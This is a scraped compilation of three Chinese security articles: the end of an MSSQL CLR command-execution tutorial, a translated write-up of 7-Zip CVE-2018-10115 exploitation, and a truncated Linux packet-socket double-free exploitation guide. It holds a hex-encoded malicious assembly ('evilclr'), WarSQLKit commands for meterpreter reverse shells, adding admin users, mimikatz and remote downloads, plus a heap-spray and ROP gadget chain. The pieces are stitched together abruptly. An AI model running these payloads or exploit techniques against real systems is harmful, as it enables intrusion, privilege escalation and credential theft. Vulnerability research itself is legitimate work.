00000000000000242C000000000000000000003E2C0000002000000000000000000000000000000000000000000000302C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000440200000000000000000000440234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004A4010000010053007400720069006E006700460069006C00650049006E0066006F0000008001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000038000C00010049006E007400650072006E0061006C004E0061006D00650000006500760069006C0063006C0072002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000040000C0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006500760069006C0063006C0072002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000503C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = UNSAFE;
go
执行完之后我们的程序集就被导入了MSSQL中，此处是使用字节流的形式来执行的，你也可以直接导入dll文件来导入程序集。
右键程序集-新建程序集-选择你的dll路径- **选择无限制** ，在这里的无限制对应的是我们创建项目时选择的UNSAFE。
然后创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [evilclr].[StoredProcedures].[ExecCommand]
go
然后执行命令
exec dbo.execcommand 'whoami'
然后就可以尽情发挥咯！
# WarSQLKit
上文写的是简单的执行命令，那我们能不能进行拓展呢？比如直接反弹msf、下载文件、执行mimikatz？
我在GitHub上发现了这个 [MSSQL-Fileless-Rootkit-WarSQLKit](https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit)
，我先列出来他的可用命令
EXEC sp_cmdExec 'whoami'; => Any Windows command
EXEC sp_cmdExec 'whoami /RunSystemPriv'; => Any Windows command with NT AUTHORITY\SYSTEM rights
EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add" /RunSystemPriv'; => Adding users with RottenPotato (Kumpir)
EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'; => Adding user to localgroup with RottenPotato (Kumpir)
EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'; => (Powershell) with RottenPotato (Kumpir)
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x64 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\SYSTEM, RC4PASSWORD=warsql
EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; => x86 Meterpreter Bind Connection with NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_Mimikatz';
select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :)
EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'; => Download File
EXEC sp_cmdExec 'sp_getSqlHash'; => Get MSSQL Hash
EXEC sp_cmdExec 'sp_getProduct'; => Get Windows Product
EXEC sp_cmdExec 'sp_getDatabases'; => Get Available Database
很牛逼对吧？但是他只支持.net4.0+哦！也就是MSSQL2012以上的版本，这也是我踩过的坑，呜呜呜 | 社区文章 |
# 7-Zip：从未初始化内存到远程代码执行
##### 译文声明
本文是翻译文章，文章来源：https://landave.io/
原文地址：<https://landave.io/2018/05/7-zip-from-uninitialized-memory-to-remote-code-execution/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
之前我发表过一篇[文章](https://landave.io/2018/01/7-zip-multiple-memory-corruptions-via-rar-and-zip/)介绍了7-Zip的CVE-2017-17969以及CVE-2018-5996漏洞，后面我又继续花了点时间分析了反病毒软件。碰巧的是，我又发现了一个新的bug，该漏洞（与之前两个bug一样）最终会影响到7-Zip。由于反病毒软件厂商还没有发布安全补丁，因此我会在本文更新时添加受影响的产品名称。
## 二、简介
7-Zip的RAR代码主要基于最近版本的UnRAR代码，但代码的高层部分已经被大量修改过。我曾经在之前的一些文章中提到过，UnRAR的代码非常脆弱，因此，对这份代码的改动很有可能会引入新的问题，这一点非常正常。
从抽象层面来讲，这个问题可以简单描述如下：在解码RAR数据前，应用程序需要对RAR解码器类的一些成员数据结构进行初始化操作，而这些初始化操作需要依赖RAR处理函数来正确配置解码器。不幸的是，RAR处理函数无法正确过滤其输入数据，会将错误的配置传入解码器，导致程序使用未初始化内存。
现在你可能会认为这个问题无关痛痒。不可否认的是，我第一次发现这个问题时也存在相同的看法，然而事实证明并非如此。
接下来我会详细介绍这个漏洞，然后简单看一下7-Zip的修复措施，最后我们来看一下如何利用这个漏洞实现远程代码执行。
## 三、漏洞分析（CVE-2018-10115）
存在问题的代码位于solid compression处理流程中。solid
compression的原理很简单：给定一组文件（比如来自于某个文件夹的一组文件），我们可以将这些文件当成一个整体，即单独的一个数据块，然后对整个数据块进行压缩（而不是单独压缩每一个文件）。这样可以达到较高的压缩率，特别是文件数非常多或类似情况时压缩率会更高。
在（版本5之前的）RAR格式中，solid
compression的用法非常灵活：压缩文档中每个文件（item）都可以打上`solid`标记，与其他item无关。如果某个item设置了solid位，那么解码器在解码这个item时并不会重新初始化其状态，而会从前一个item的状态继续处理。
显而易见的是，程序需要确保解码器对象在一开始时（从解码第一个item开始）就初始化其状态。我们来看一下7-Zip中的具体实现。RAR处理器中包含[NArchive::NRar::CHandler::Extract](https://landave.io/2018/05/7-zip-from-uninitialized-memory-to-remote-code-execution/#fn:1)这样一个方法，该方法在循环中通过一个变量索引遍历所有item。在这个循环中，我们可以找到如下代码：
Byte isSolid = (Byte)((IsSolid(index) || item.IsSplitBefore()) ? 1: 0);
if (solidStart) {
isSolid = 0;
solidStart = false;
}
RINOK(compressSetDecoderProperties->SetDecoderProperties2(&isSolid, 1));
这段代码的主要原理是使用`solidStart`这个布尔（boolean）标志，该标志初始化为`true`（在循环开始前），确保在解码第一个item时，使用`isSolid==false`来配置解码器。此外，只要使用`isSolid==false`来调用解码器，那么解码器在开始解码前总会（重新）初始化其状态。
这个逻辑看上去没有问题，对吧？好吧，其实问题在于RAR支持3种不同的编码方法（版本5除外），每个item都可以使用不同的方法进行编码。更具体一点，这3种编码方法中每一种都存在不同的解码器对象。有趣的是，3种解码器对象的构造函数中并没有对一大部分成员进行初始化处理。这是因为对于非solid的item，其状态总是需要重新进行初始化，并且有一个隐含的前提，那就是解码器的调用者会确保首次调用解码器时使用`isSolid==false`。然而我们可以[构造](https://landave.io/2018/05/7-zip-from-uninitialized-memory-to-remote-code-execution/#fn:2)如下这样一个RAR压缩包，打破这个假设条件：
1、第一个item使用的是v1编码方法；
2、第二个item使用的是v2（或者v3）编码方法，并且设置了`solid`位。
第一个item会导致`solidStart`标志设置为`false`。对于第二个item，应用会创建一个新的Rar2解码对象，然后（由于已经设置了`solid`标志位）在解码器中大部分成员未经初始化的状态下，开始解码过程。
乍看之下，这可能不是个大问题。然而，许多数据没经过初始化处理可能会被恶意利用，导致出现内存损坏：
1、保存堆上缓存大小的成员变量。这些变量现在保存的大小值可能比真实的缓冲区还要大，就会出现堆缓冲区溢出现象。
2、带有索引的数组，这些数组用来索引其他数组的读写操作。
3、在我之前那篇[文章](https://landave.io/2018/01/7-zip-multiple-memory-corruptions-via-rar-and-zip/)中讨论过的PPMd状态。这些代码很大程度上依赖于模型状态的正确性，然而现在这个正确性很容易就会被破坏。
很显然，以上并没有覆盖所有的利用场景。
## 四、修复措施
实际上这个漏洞的本质是程序无法确保在第一次使用解码器类之前正确初始化解码器类的状态。相反，在解码第一个item前，程序需要依赖调用者使用`isSolid==false`来配置解码器。前面我们也看到过，这么做效果并不是特别好。
解决这个漏洞可以采用两种不同的方法：
1、在解码器类的构造函数中正确初始化所有的状态。
2、在每个解码器类中添加一个额外的boolean成员变量：`solidAllowed`（初始化为`false`）。如果`solidAllowed==false`，即便`isSolid==true`，解码器也会遇到错误终止处理作业（或者设置`isSolid=false`）。
UnRAR貌似使用的是第一种方法，而Igor Pavlov选择使用第二种方法来修复7-Zip。
如果你想自己修复7-Zip的某个分支，或者你对修复过程比较感兴趣，那么你可以参考[这个文件](https://landave.io/files/patch_7zip_CVE-2018-10115.txt)，文件总结了具体的版本改动。
## 五、缓解漏洞利用
在介绍CVE-2017-17969以及CVE-2018-5996漏洞的上一篇[文章](https://landave.io/2018/01/7-zip-multiple-memory-corruptions-via-rar-and-zip/)中，我提到7-Zip在18.00（beta）版本之前缺少DEP以及ASLR机制。在那篇文章公布后不久，Igor Pavlov 就发布了7-Zip
18.01，该版本带有`/NXCOMPAT`标志，在全平台上启用了DEP。此外，所有动态库（`7z.dll`、`7-zip.dll`以及`7-zip32.dll`）都带有`/DYNAMICBASE`标志以及重定位表。因此，大部分运行代码都受到ASLR的约束。
然而，所有的主执行文件（`7zFM.exe`、`7zG.exe`以及`7z.exe`）并没有使用`/DYNAMICBASE`标志，同时剥离了重定位表。这意味着不仅这些程序不受ASLR约束，并且我们也无法使用诸如EMET或者Windows
Defender Exploit Guard之类的工具强制启用ASLR功能。
显然，只有当所有的模块都正确随机化后，ASLR才能发挥作用。我之前和Igor讨论过这个问题，已经说服他在新版的7-Zip
18.05中，让主执行程序使用`/DYNAMICBASE`标志以及重定位表。目前64位版本的7-Zip仍在使用标准的非高熵版ASLR（大概是因为基础镜像小于4GB），但这是一个小问题，可以在未来版本中解决。
另外我想指出一点，7-Zip并不会分配或者映射其他可执行内存空间，因此可以作为Windows ACG（Arbitrary Code
Guard）机制的保护目标。如果你使用的是Windows 10，我们可以在Windows Defender Security
Center中添加7-Zip的主执行文件（`7z.exe`、`7zFM.exe`以及`7zG.exe`），为其启用保护功能（操作路径为：App &
browser control -> Exploit Protection -> Program
settings）。这样将会应用W^X策略，使代码执行的漏洞利用过程变得更加困难。
## 六、编写代码执行利用载荷
通常情况下，我并不会花太多事件来思考如何开发武器化的利用技术。然而，如果我们想知道在给定条件下，编写漏洞利用代码需要花费多少精力，那么此时我们可以考虑实际动手试一下。
我们的目标平台为打上完整更新补丁的Windows 10 Redstone 4（RS4，Build
17134.1），64位操作系统，上面运行着64位版本的7-Zip 18.01。
### 挑选合适的利用场景
使用7-Zip来解压归档文件时，我们主要可以采用3种方法：
1、通过GUI界面打开压缩文档，分别提取其中的文件（比如使用拖放操作）或者使用`Extract`按钮解压整个压缩文档。
2、右键压缩文件，在弹出的菜单种选择“7-Zip->Extract Here”或者“7-Zip->Extract to subfolder”。
3、使用命令行版本的7-Zip进行解压。
这三种方法都要调用不同的可执行文件（`7zFM.exe`、`7zG.exe`以及
`7z.exe`）。这些模块中缺乏ASLR，由于我们想利用这一点，因此我们需要关注文件提取方法。
第二种方法（通过上下文菜单解压文件）看起来吸引力最大，原因在于这可能是人们最常使用的方法，并且通过这种方法我们可以较为精确地预测用户的行为（不像第一种方法那样，人们会打开压缩文档，但选择提取“错误”的文件）。因此，我们选择第二种方法作为目标。
### 利用策略
利用前面介绍的那个问题，我们可以创建一个Rar解码器，针对（大部分）未初始化的状态执行处理过程。我们来看一下哪个Rar解码器可以让我们以攻击者期望看到的效果来破坏内存。
一种可能的方法是选择使用Rar1解码器，其[NCompress::NRar1::CDecoder::HuffDecode](https://landave.io/2018/05/7-zip-from-uninitialized-memory-to-remote-code-execution/#fn:3)方法包含如下代码：
int bytePlace = DecodeNum(...);
// some code omitted
bytePlace &= 0xff;
// more code omitted
for (;;)
{
curByte = ChSet[bytePlace];
newBytePlace = NToPl[curByte++ & 0xff]++;
if ((curByte & 0xff) > 0xa1)
CorrHuff(ChSet, NToPl);
else
break;
}
ChSet[bytePlace] = ChSet[newBytePlace];
ChSet[newBytePlace] = curByte;
return S_OK;
这一点非常有用，因为Rar1解码器的未初始化状态中包含`uint32_t`类型的数组`ChSet`以及`NtoPl`。因此，`newBytePlace`是攻击者可控的一个`uint32_t`，`curByte`也是如此（有个限制条件就是最低有效字节不能大于`0xa1`）。此外，`bytePlace`需要根据输入流来决定，因此这个值也是攻击者可控的一个值（但不能大于`0xff`）。
这样就让我们具有很好的读写利用条件。但是请注意，我们正处于64位地址空间中，所以我们不可能通过`ChSet`的32位偏移量来访问Rar1解码器对象的vtable指针（即便乘以`sizeof(uint32_t)`这个值）。因此，我们的目标是堆上位于Rar1解码器之后的那个对象的vtable指针。
为此我们可以使用一个Rar3解码器对象，与此同时我们也会使用该对象来保存我们的载荷。更具体一点，我们利用前面得到的读写条件将`_windows`指针（Rar3解码器的一个成员变量）与同一个Rar3解码器对象的vtable指针进行交换。`_window`指向的是一个4MB大小的缓冲区，该缓冲区保存着利用解码器提取出的数据（也就是说这也是攻击者可控的一段数据）。
我们将使用stack pivot技术（`xchg rax,
rsp`）将某个地址填充到`_window`缓冲区中，然后跟着一个ROP链以获得可执行的内存并执行shellcode（我们也会将这段shellcode放入`_windows`缓冲区中）。
### 在堆上放置一个替代对象
为了成功实现既定策略，我们需要完全控制解码器的未经初始化的内存空间。大致做法就是分配大小为Rar1解码器对象大小的一段内存空间，将所需数据写入其中，然后在程序真正分配Rar1解码器空间之前先行释放掉这块内存。
显然，我们需要确保Rar1解码器所分配的空间的确重用了我们先前释放的同一块内存区域。想实现这个目标的一种直接方法就是激活相同大小的低碎片堆（Low
Fragmentation Heap，LFH），然后使用多个替代对象来喷射LFH。这种方法的确行之有效，然而由于从Windows
8开始，在LFH分配空间会被随机化处理，因此使用这种方法再也不能让Rar1解码器对象与任何其他对象保持恒定的距离。因此，我们会尽量避免使用LFH，将我们的对象放置在常规堆上。整个空间分配策略大概如下所示：
1、创建大约18个待分配的空间，其大小小于Rar1解码器对象的大小。这样就会激活LFH，避免这类小空间分配操作摧毁我们干净的堆结构。
2、分配替代对象然后释放这个对象，确保该对象被我们前面分配的空间所包围（因此不会与其他空闲块合并）。
3、分配Rar3解码器（替代对象并没有被重用，因为Rar3解码器比Rar1解码器要大）。
4、分配Rar1解码器（重用替代对象）。
需要注意的是，在为Rar1解码器分配空间时，我们无法避免先分配一些解码器，这是因为只有通过这种方式，`solidStart`标志才会被设置为`false`，导致下一个解码器无法被正确初始化（见前文描述）。
如果一切按计划运行，Rar1解码器就会重用我们的替代对象，Rar3解码器对象在堆上将位于Rar1解码器对象之后，并且保持某个恒定的偏移距离。
### 在堆上分配并释放
显然，如上分配策略需要我们能够以合理可控的方式在堆上分配空间。翻遍了RAR处理函数的所有源码，我无法找到很多较好的方法来对默认进程堆动态分配空间，以满足攻击者所需的大小要求并往其中存储攻击者可控的数据。事实上，完成这种动态分配任务的貌似只能通过压缩文档item的名称来实现。接下来我们看一下具体方法。
当程序打开某个压缩文档时，[NArchive::NRar::CHandler::Open2](https://landave.io/2018/05/7-zip-from-uninitialized-memory-to-remote-code-execution/#fn:1)方法就会读取压缩文档的所有item，具体代码如下（经过适当简化）：
CItem item;
for (;;)
{
// some code omitted
bool filled;
archive.GetNextItem(item, getTextPassword, filled, error);
// some more code omitted
if (!filled) {
// some more code omitted
break;
}
if (item.IgnoreItem()) { continue; }
bool needAdd = true;
// some more code omitted
_items.Add(item);
}
`CItem`类有一个`AString`类型的成员变量`Name`，该变量在一个堆分配的缓冲区中存储了对应item的（ASCII）名。
不幸的是，item的名称通过[NArchive::NRar::CInArchive::ReadName](https://landave.io/2018/05/7-zip-from-uninitialized-memory-to-remote-code-execution/#fn:1)来设置，代码如下：
for (i = 0; i < nameSize && p[i] != 0; i++) {}
item.Name.SetFrom((const char *)p, i);
这里我看到了一些困难，因为这意味着我们无法将任意字节为所欲为地写入缓冲区中。更具体一点，我们似乎无法写入null（空）字节。这一点非常糟糕，因为我们想放在堆上的替代对象中包含若干个0字节。那么我们该怎么办？让我们来看看[AString::SetFrom](https://landave.io/2018/05/7-zip-from-uninitialized-memory-to-remote-code-execution/#fn:4)：
void AString::SetFrom(const char *s, unsigned len)
{
if (len > _limit)
{
char *newBuf = new char[len + 1];
delete []_chars;
_chars = newBuf;
_limit = len;
}
if (len != 0)
memcpy(_chars, s, len);
_chars[len] = 0;
_len = len;
}
如你所见，这个方法总是会以一个null字节来结束字符串。此外，我们发现只要字符串大小大于一定值，`AString`就会在底层开辟一个缓冲区。这就让我产生这样一个想法：假设我们想把`DEAD00BEEF00BAAD00`这些十六进制字节写入堆上分配的某个缓冲区，那么我们只需要构造一个压缩包，其中item的文件名如下（按照列出的顺序来）：
DEAD55BEEF55BAAD
DEAD55BEEF
DEAD
这样我们就能让`SetFrom`帮我们写入我们需要的所有null字节。请注意，现在我们已经将数据中的null字节替换成一些非零的字节（这里为`0x55`这个字节），确保将整个字符串写入缓冲区中。
这个方法非常好，我们可以写入任意字节序列，但存在两个限制。首先，我们必须要用一个null字节来结束这个序列；其次，在字节序列中我们不能使用太多个null字节，因为这样会导致压缩文档过大。幸运的是，在这个场景中我们可以轻松绕过这些限制条件。
现在请注意我们可以使用两种类型的分配操作：
1、分配带有`item.IgnoreItem()==true`属性的一些item。这些item不会被添加到`_items`列表中，因此属于临时item。这些分配的空间具备特殊属性，最终会被释放，并且我们可以（使用上述技术）往其中填充任意字节序列（几乎可以不受限制）。由于这些内存分配操作都是通过同一个栈分配对象item来完成，因此使用的是相同的`AString`对象，这类分配操作在大小上需要严格递增。我们主要使用这类分配操作来将替代对象放置在堆上。
2、分配带有`item.IgnoreItem()==false`属性的一些item。这些item会被添加到`_items`列表中，生成对应名称的副本。通过这种方式，我们可以获得许多待分配的、特定大小的空间，激活LFH。需要注意的是，复制的字符串中不能包含任何null字节，这对我们来说毫无压力。
综合利用上面提到的方法，我们可以构造一个压缩文档，满足我们前面描述的堆分配策略。
### ROP
由于`7zG.exe`主执行程序不具备ASLR机制，因此我们可以使用一个ROP链来绕过DEP。7-Zip不会去调用`VirtualProtect`，因此我们可以从导入表（IAT）中读取`VirtualAlloc`、`memcpy`以及`exit`的地址，写入如下ROP链：
// pivot stack: xchg rax, rsp;
exec_buffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec_buffer, rsp+shellcode_offset, 0x1000);
jmp exec_buffer;
exit(0);
由于我们的工作环境为x86_64系统（其中大多数指令的编码长度比x86系统要长），并且二进制程序也不是特别大，因此我们无法找到特别好的gadget来执行我们所需的一些操作。这并不是一个太大的难题，但会让我们的ROP链看上去没那么完美。比如，在调用`VirtualAlloc`之前，为了将R9寄存器设置为`PAGE_EXECUTE_READWRITE`，我们需要使用如下gadget链：
0x40691e, #pop rcx; add eax, 0xfc08500; xchg eax, ebp; ret;
PAGE_EXECUTE_READWRITE, #value that is popped into rcx
0x401f52, #xor eax, eax; ret; (setting ZF=1 for cmove)
0x4193ad, #cmove r9, rcx; imul rax, rdx; xor edx, edx; imul rax, rax, 0xf4240; div r8; xor edx, edx; div r9; ret;
### 演示
我们的演示环境为全新安装的Windows 10 RS4（Build 17134.1）64位系统，安装了7-Zip 18.01
x64，利用过程如下图所示。前文提到过，我们的利用场景使用的是右键菜单来提取压缩文件，具体菜单路径为“7-Zip->Extract
Here”以及“7-Zip->Extract to subfolder”。
### 可靠性研究
仔细调整堆分配大小后，整个利用过程现在已经非常可靠且稳定。
为了进一步研究漏洞利用的可靠性，我编写了一小段脚本，按照右键菜单释放文件的方式重复调用`7zG.exe`程序来释放我们精心构造的压缩文档。此外，该脚本会检查`calc.exe`是否被顺利启动，并且`7zG.exe`进程的退出代码是否为0。在不同的操作系统上运行这个脚本后（所有操作系统均打全最新补丁），测试结果如下：
1、Windows 10 RS4（Build
17134.1）64位：100,000次利用中有[17次](https://landave.io/2018/05/7-zip-from-uninitialized-memory-to-remote-code-execution/#fn:5)利用失败。
2、Windows 8.1 64位：100,000次利用中有12次利用失败。
3、Windows 7 SP1 64位：100,000次利用中有90次利用失败。
需要注意的是，所有的操作系统使用的都是同一个压缩文档。整个测试结果比较理想，可能时由于Windows 7以及Windows
10在堆的LFH实现上面有些区别，因此这两个系统上的测试结果差别较大，其他情况下差别并不是特别大。此外，相同数量的待分配内存仍然会触发LFH。
不可否认的是，我们很难凭经验去判断利用方法的可靠性。不过我认为上面的测试过程至少比单纯跑几次利用过程要靠谱得多。
## 七、总结
在我看来，之所以出现这个错误，原因在于程序设计上（部分）继承了UnRAR的具体实现。如果某个类需要依赖它的使用者以正确方式来使用它，以避免使用未经初始化的类成员，那么这种方式注定会以失败告终。
经过本文的分析，我们亲眼见证了如何将（乍看之下）人畜无害的错误转换成可靠的、武器化的代码执行利用方法。由于主执行程序缺乏ASLR，因此利用技术上唯一的难题就是如何在受限的RAR提取场景中精心布置堆结构。
幸运的是，新版的7-Zip 18.05不仅修复了这个漏洞，也在所有主执行文件上启用了ASLR。
如果大家有意见或者建议，欢迎通过[此页面](https://landave.io/about/)上的联系方式给我发邮件。
此外，大家也可以加入[HackerNews](https://news.ycombinator.com/item?id=16985460)或者[/r/netsec](https://www.reddit.com/r/netsec/comments/8g7x2k/7zip_from_uninitialized_memory_to_remote_code/)一起来讨论。
## 八、时间线
* 2018-03-06 – 发现漏洞
* 2018-03-06 – 报告漏洞
* 2018-04-14 – MITRE为此漏洞分配了编号：[CVE-2018-10115](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10115)
* 2018-04-30 – 7-Zip 18.05[发布](https://sourceforge.net/p/sevenzip/discussion/45797/thread/adc65bfa/)，修复了CVE-2018-10115漏洞，在可执行文件上启用了ASLR。
## 九、致谢
感谢Igor Pavlov修复此漏洞并且为7-Zip部署缓解措施避免被进一步攻击。 | 社区文章 |
**作者：360漏洞研究院 刘永 王晓东 姚俊
原文链接：<https://vul.360.net/archives/391>**
## 概述
众所周知，ROP是一种主流的Linux内核利用方式，它需要攻击者基于漏洞来寻找可用的gadgets，然而这是一件十分耗费时间和精力的事情，并且有时候很有可能找不到合适的gadget。此外由于CFI（控制流完整性校验）利用缓解措施已经被合并到了Linux内核主线中了，所以随着后续主流发行版的跟进，ROP会变得不再可用。
这篇博客主要介绍一种叫做USMA（User-Space-Mapping-Attack），跨平台通用的利用方法。它允许普通用户进程可以映射内核态内存并且修改内核代码段，通过这个方法，我们可以绕过Linux内核中的CFI缓解措施，在内核态中执行任意代码。下面此文会介绍一个漏洞，然后分别使用ROP和USMA两种方法完成对这个漏洞的利用，最后总结一下USMA的优势。
## 漏洞
漏洞出现在Linux内核中的packet socket模块，这个模块可以让用户在设备驱动层接受和发送raw
packets，并且为了加速数据报文的拷贝，它允许用户创建一块与内核态共享的环形缓冲区，具体的创建操作是在packet_set_ring()这个函数中实现的。
/net/packet/af_packet.c
4292 static int packet_set_ring(sk, req_u, closing, tx_ring)
4294 {
4317 if (req->tp_block_nr) {
4362 order = get_order(req->tp_block_size);
4363 pg_vec = alloc_pg_vec(req, order);
4366 switch (po->tp_version) {
4367 case TPACKET_V3:
4369 if (!tx_ring) {
4370 init_prb_bdqc(po, rb, pg_vec, req_u);
4371 }
4390 }
4391 }
4414 if (closing || atomic_read(&po->mapped) == 0) {
4417 swap(rb->pg_vec, pg_vec);
4418 if (po->tp_version <= TPACKET_V2)
4419 swap(rb->rx_owner_map, rx_owner_map);
4435 }
4450 out_free_pg_vec:
4451 bitmap_free(rx_owner_map);
4452 if (pg_vec)
4453 free_pg_vec(pg_vec, order, req->tp_block_nr);
4456 }
packet_set_ring()通过用户传递的tp_block_nr（行4317）和tp_block_size（行4362）来决定分配的环形缓冲区的大小，如果packet
socket的版本为TPACKET_V3，那么在init_prb_bdqc()的调用中（行4370），packet_ring_buffer.prb_bdqc.pkbdq就会持有一份pg_vec的引用（行584）。
/net/packet/af_packet.c
573 static void init_prb_bdqc(po, rb, pg_vec, req_u)
577 {
578 struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
579 struct tpacket_block_desc *pbd;
583 p1->knxt_seq_num = 1;
584 p1->pkbdq = pg_vec;
603 prb_init_ft_ops(p1, req_u);
604 prb_setup_retire_blk_timer(po);
605 prb_open_block(p1, pbd);
606 }
如果用户传递的tpacket_req.tp_block_nr等于0，那么就没有新的pg_vec会被分配，并且旧的pg_vec会被释放（行4453），但是packet_ring_buffer.prb_bdqc.pkbdq仍然保留着被释放的pg_vec的引用。如果我们此时将packet
socket的版本切换为TPACKET_V2并且再次设置缓冲区，那么保存在pkbdq，被释放的pg_vec会被当做rx_owner_map再次被释放（行4451），因为packet_ring_buffer是一个联合体，pkbdq（行18）和rx_owner_map（行74）的内存偏移是一样的。
/net/packet/internal.h
59 struct packet_ring_buffer {
60 struct pgv *pg_vec;
73 union {
74 unsigned long *rx_owner_map;
75 struct tpacket_kbdq_core prb_bdqc;
76 };
77 };
17 struct tpacket_kbdq_core {
18 struct pgv *pkbdq;
19 unsigned int feature_req_word;
20 unsigned int hdrlen;
21 unsigned char reset_pending_on_curr_blk;
22 unsigned char delete_blk_timer;
52 struct timer_list retire_blk_timer;
53 };
## ROP
ROP的利用分为两个步骤：
1. 泄露内核地址，绕过KASLR。
2. 劫持PC，通过gadget修改进程的cred。
这两个步骤要各自触发一次漏洞，通过选择不同的目标结构体，分别达到上述的目的。
### 信息泄露
/include/linux/msg.h
9 struct msg_msg {
10 struct list_head m_list;
11 long m_type;
12 size_t m_ts; /* message text size */
13 struct msg_msgseg *next;
14 void *security;
15 /* the actual message follows immediately */
16 };
这里选择msg_msg结构体作为目标结构体，原因有以下两点：
1. 它含有m_ts成员(行12)，这个成员用来描述结构体下面跟着的缓冲区长度。
2. 普通用户可以读取缓冲区的内容。
通过pg_vec double
free的漏洞，在第一次释放pg_vec之后，使用msg_msg进行堆喷，之后再次释放pg_vec，使用msg_msgseg进行堆喷来修改msg_msg的m_ts成员，这样在copy_msg函数中就可以有一次越界读的机会（行128）。
/ipc/msgutil.c
118 struct msg_msg *copy_msg(src, dst)
119 {
121 size_t len = src->m_ts;
127 alen = min(len, DATALEN_MSG);
128 memcpy(dst + 1, src + 1, alen);
129
130 for (dst_pseg = dst->next, src_pseg = src->next;
131 src_pseg != NULL;
132 dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {
133
134 len -= alen;
135 alen = min(len, DATALEN_SEG);
136 memcpy(dst_pseg + 1, src_pseg + 1, alen);
137 }
142 return dst;
143 }
如果将timerfd_ctx结构体通过堆风水布局在double
free的pg_vec后面，如下图所示，那么就可以将timerfd_ctx结构体的内容读取到用户态中。
通过泄露timerfd_ctx结构体中的function函数指针（行121）以及wqh等待队列头（行38），就可以得到内核代码段的地址以及timerfd_ctx的堆地址。
/fs/timerfd.c
31 struct timerfd_ctx {
32 union {
33 struct hrtimer tmr;
34 struct alarm alarm;
35 } t;
38 wait_queue_head_t wqh;
47 };
/include/linux/hrtimer.h
118 struct hrtimer {
119 struct timerqueue_node node;
120 ktime_t _softexpires;
121 enum hrtimer_restart (*function)(struct hrtimer *);
127 };
### 劫持PC
整个劫持PC进行rop的步骤如下：
1. 再次触发一次double free，第一次释放pg_vec后，选择pipe_buffer进行占位。
2. 再次释放pg_vec，使用msg_msgseg进行堆喷，修改pipe_buffer的ops成员指向刚刚泄露地址的timerfd_ctx。
3. 释放timerfd_ctx，使用msg_msgseg进行堆喷，伪造出一个pipe_buf_operations。
4. 选择通过ops中的release函数指针劫持PC，当pipe被close时，release函数指针就会被调用。
/include/linux/pipe_fs_i.h
95 struct pipe_buf_operations {
103 int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
109 void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
119 bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
